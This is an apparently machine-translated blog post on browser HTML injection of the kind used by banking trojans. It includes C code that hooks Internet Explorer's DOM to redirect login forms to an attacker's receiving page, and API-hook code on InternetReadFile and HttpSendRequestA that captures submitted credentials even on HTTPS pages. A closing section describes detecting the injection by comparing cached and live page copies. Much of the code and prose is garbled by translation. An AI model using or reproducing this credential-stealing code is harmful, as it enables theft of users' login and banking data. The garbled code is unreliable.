Analysis of Multiple html injection methods based on element stripping to achieve Attack and Preventive Measures

I. Principles

1. the HTML injection I mentioned here is not a pseudo-static injection, but an additional field code is inserted into the browser and mixed into other login forms, in this way, it seems that the additional code is legal. To put it bluntly, it is a means to steal all user information. Similar behaviors include Zeus, Fakelas, and 11wer of tianchao.

Ii. Attack Techniques

1. Using the MIM (man-in-the-middle attack) method for HTML Injection

Man-in-the-middle attack means to place the host we initiate the attack in the communication between the web server and the victim's PC. So that we can replace or insert data to modify the message before the server responds to the message to the victim's PC. Thus achieving the effects of deception.

However, due to the complexity of SSL and the need for an independent network location reconnaissance point for the implementation of the MIM attack, the injection of HTML into the MIM attack is only a rare technique. If you are interested in windows or linux, you can test it on your own. I will not repeat it here.

2. Modify the document model (DOM) of IE browser to implement HTML Injection

First, explain DOM to some friends who are not clear about DOM. DOM, short for Document Object Model, is the Document Object Model. It is a collection of multiple elements on a web page.

Because elements in a webpage, such as links, forms, text boxes, and tables, can be operated through special interfaces, we can say that DOM-based HTML injection is used, here we will introduce two most relevant interfaces for DOM operations: IWebBrowser2 and IHTMLDocument2.

After we construct malicious code and connect it to the DOM of a browser webpage, attackers can execute some URLs that monitor user access, forcibly manipulate browsers to send POST data packets to the controlled Receiving address, and delete transaction data of some balance details reports from HTML tables (bank Trojans (Basic Methods for stealing user information ).

We need to first load a DLL (Dynamic Link Library) to the IE browser to access the interface we need, or directly access the required interface from the independent IE process.

Here is a simple HTML login form with the address http: // localhost/login. php

The Code is as follows:

 

<Table width = "300" align = "center"> <tr> <form method = "post" action = "checklogin. php "> <td> <table width =" 100% "> <tr> <td colspan =" 2 "> <B> member logon </B> </td> </ tr> <td> User Name: </td> <input name = "user" type = "text"/> </td> </tr> <td> password: </td> <input name = "pass" type = "text"/> </td> </tr> <td> & nbsp; </td> <input type = "submit" name = "submit" value = "login"/> </td> </tr> </table> </ td> </form> </tr> </table>

 

The method for submitting a form is POST, and the action is checklogin. php. Now that we know the behavior of this form, we need to analyze how to launch attacks. The method is to inject HTML to rewrite the action in the form, so that when you click the Login button, the browser can send the certificate to the receiving address we control.

After determining the direction, we began to construct malicious code to let it complete the behavior we needed. The following is a simple exe program. After running the program, it will wait for the user to access http: // localhost/login. php, then use the DOM interface to mine the elements in the form, and finally change the action address in the form to another forged Receiving address http: // localhost/nandi. php to complete a forged HTML Injection Based on the browser DOM.

The constructed code is as follows:

 

Int main (void) {HRESULT hr; IShellWindows * shell; IDispatch * folder; IDispatch * html; IwebBrowser2 * browser; IHTMLDocument * doc; LONG Count; VARIANT vIndex; BOOL bDone = FALSE; coInitialize (NULL); DWORD dwFlags = CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER | wait; // wait for the user to access the target page while (1) {// activate the IShellWindows interface hr = CoCreateInstance (CLSTD_ShellWindows, NULL, dwFlags, IID_IShellWindows, (Void **) & shell); if (hr! = S_ OK) {printf ("CoCreateInstance failed: 0x % x! \ N ", hr); break;} // traverse all existing windows in the loop shell-> get_Count (& Count); for (int I = 0; iItem (vIndex, (IDispatch **) & folder); if (hr! = S_ OK |! Folder) {continue;} // try to activate IWebBrowser2 interface hr = folder-> QueryInterface (IID_IWebBrowser2, (void **) & browser); if (hr! = S_ OK |! Browser) {folder-> Release (); continue;} // when the user accesses the target page, wait until the page is loaded and extract the IHTMLDocument interface from the browser, then try to inject HTMLif (IsReadyTarget (browser) {hr = browser-> get_Document (IDispatch **) & html); if (hr = S_ OK & html) {hr = html-> QueryInterface (IID_IHTMLDocument2, (void **) & doc); if (hr = S_ OK & doc) {bDone = ReplaceForms (doc ); doc-> Release ();} html-> Release ();} browser-> Release ();} shell-> Release (); // If successful, end loop if (bDone) break; Sleep (1000) ;}couninitialize (); return 0 ;}// when the user accesses the target page and finishes loading, this function returns TrueBOOL IsReadyTarget (IWebBrowser2 * browser) {HRESULT hr; VARIANT_BOOL vBool; BSTR bstrUrl; BOOL bRet = FALSE; LPWSTR szTarget = L" http://localhost/login.php "; // This Is My local test page. Please modify it as needed! // We need to pay attention to the visible part of the site browser-> get_Visible (& vBool); if (! VBool) return FALSE; // get the current URLhr = browser-> get_LocationURL (& bstrUrl); if (hr! = S_ OK |! BstrUrl) return FALSE; // check the URL and wait for loading if (wcsstr (LPCWSTR) bstrUrl, szTarget )! = Null) {do {browser-> get_Busy (& vBool); Sleep (1000);} while (vBool); bRet = TRUE;} SysFreeString (bstrUrl); return bRet ;} BOOL ReplaceForms (IHTMLDocument2 * doc) {HRESULT hr; IHTMLElementCollection * forms; IHTMLFormElement * element; IDispatch * theform; VARIANT vEmpty; VARIANT vIndexForms; LONG CountForms; BOOL bRet = FALSE; BSTR bstredevil = SysAllocString (L" http://localhost/nandi.php "); // Here is my forged action. For details, see // query the doc form hr = doc-> get_forms (IHTMLElementCollection **) & forms ); if (hr! = S_ OK |! Forms) return FALSE; // loop every form element in doc forms-> get_length (& CountForms); for (int j = 0; jitem (vIndexForms, vEmpty, (IDispatch **) & theform); if (hr! = S_ OK |! Theform) {continue;} // obtain the form element hr = theform-> QueryInterface (IID_IHTMLFormElement, (void **) & element); if (hr = S_ OK & element) {// Replace the action address hr = element-> put_action (bstredevil); if (hr = S_ OK) {bRet = TRUE;} element-> Release ();} theform-> Release ();} forms-> Release (); SysFreeString (bstredevil); return bRet ;}

 

3. Use API hooks for HTML Injection

API hooks are simple and effective for HTML injection, but are easily detected. Any anti-rootkit scanner can list intercepted functions. The APIS we use usually intercept the suspicious functions IneternetReadFile and HttpSendRequest.

The IE browser calls InternetReadFile to obtain the data bytes from the server and display them in the browser. Therefore, we can pick up this function so that our program can change the response data before the data is displayed to the user. On the other hand, HttpSendRequest sends a request containing POST to the web server. by intercepting the HttpSendRequest function, the malicious code we construct can extract the certificate from POST, even if it is HTTPS, that is, the injection exists on an SSL-encrypted webpage.

Anyone who knows a little bit knows that InternetReadFile receives decrypted data, while HttpSendRequest receives encrypted data. Therefore, the compiled code can still capture all data.

The constructed exploitation code is as follows:

 

BOOL Hook_InternetReadFile (_ in HINTERNET hFile, _ out LPVOID lpBuffer _ in DWORD dwNumberOfBytesToRead _ out LPDWORD handler) {// call the real function BOOL bRet = True_InternetReadFile (hFile, delimiter, delimiter, lpdwNumberOfBytesRead); DWORD dwErr = GetLastError (); // determine whether the user accesses the target page if (IsTarget (hInet) {InjectHTML (hInet, lpBuffer, lpdwNumberOfBytesRead );} setLastError (dwErr); return bRet;} BOOL Hook _ HttpSendRequestA (_ in HINTERNET hRequest, _ in LPCTSTR lpszHeaders, _ in DWORD dwHeadersLength, _ in LPVOID lpOptional, _ in DWORD dwOptionalLength) {if (IsTarget (hRequest )) & // whether to access the target page lpOptional! = NULL & // determine whether the POST load has dwOptionalLength> 0) // determine whether the POST load exists {ExtractCredentials (hRequest, lpOptional, dwOptionalLength );} // call the real function return True_HttpSendRequestA (hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength );}

 

Iii. Prevention and detection of HTML Injection

Generally, API hooks are easily detected by the anti-rootkit scanner, which I have mentioned before. Compared with API hooks, DOM modification is more deceptive, because there is generally no legitimate reason to InternetReadFile and HttpSendRequest interception, and modifying the DOM does not intercept any function.

What does this mean? Some friends may have thought of it, that is, whether using an API hook or modifying DOM, HTML injection is only displayed in the memory of the browser process. In particular, the cache function enabled by the browser will generate the original copy of the user access page under the cache folder. Therefore, after executing doc.exe (for more information about the relevant code, see the previous section. The extension name is php, which is used to help you view the relevant code on the network and compile the code .), Visit http: // localhost/login. php and select "View Source Code". In this case, the browser will access the cache page on the disk instead of accessing the modified page from the memory.

Therefore, using the "view source code" method cannot identify whether the page elements in the browser have been modified. :

I have written a tool for detecting HTML injection. The working principle is as follows:

A. Start a new IE process for each page we specify to be checked, and wait for loading, and wait a few seconds for the malicious code to execute HTML injection.
.
C. Check whether the browser uses the GetUrlCacheEntryInfo API to cache copies of the specified page. If so, copy the slow file stored in internetmask to url_cache.txt in the program directory.
D. Intercept the IE window and save it to the program directory to view the Html page appearance in the browser.

The following is an example of a program:

C:\>echo http://localhost/login.php ->url.txtC:\>HtmlInjectionDetector.exe -f url.txt -s

 

 

The result is as follows:

There should be three files:

A-url_dom.txt-Html copy displayed in IE browser.
B-url_cache.txt-original Html copy returned by the web server.
C-url.bmp-page access screen

By browsing these files, you can easily determine the page Modification

However, if the form in the Https webpage is replaced and the data is submitted to the Http webpage in POST mode, a prompt or warning will pop up in the browser. However, we can add some code to disable these prompts or warnings by modifying the error message mode in the IE settings.

Tool packaging, usage Note-the tool will automatically open the url to be checked, stay on the page for about 2 seconds do not close, otherwise the cache and the current copy cannot be captured

: Baidu online storage